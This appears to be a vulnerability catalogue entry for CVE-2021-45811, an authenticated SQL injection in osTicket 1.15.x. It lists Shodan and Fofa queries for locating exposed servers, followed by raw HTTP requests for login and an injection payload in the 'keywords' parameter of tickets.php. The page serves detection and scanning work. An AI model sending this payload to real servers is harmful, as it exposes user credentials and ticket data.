| Title | osTicket 1.15.x - SQL Injection |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Authenticated attackers can exploit SQL injection in the Search functionality to extract sensitive database contents including user credentials and ticket information. |
| Remediation | Upgrade osTicket to later version to mitigate this vulnerability. |
| CVSS Score | 6.5 |
| EPSS Score | 0.47409 |
| CVE ID | CVE-2021-45811 |
| CWE ID | CWE-89 |
| Shodan Query | title:"osTicket" |
| Fofa Query | title="osticket" |
| Tags | cve cve2021 osticket sqli authenticated vuln |
A SQL injection vulnerability in the “Search” functionality of “tickets.php” page in osTicket 1.15.x allows authenticated attackers to execute arbitrary SQL commands via the “keywords” and “topic_id” URL parameters combination.
GET /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /scp/login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Connection: close
Content-Length: 67
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
__CSRFToken__=QyfAhA&do=scplogin&userid=BmVN2H&passwd=3670UW&ajax=1
GET /tickets.php?a=search&keywords=text'+:1&topic_id=topic_id_val HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36 Edge/15.15063
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-45811.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-45811.pcap
N/AN/A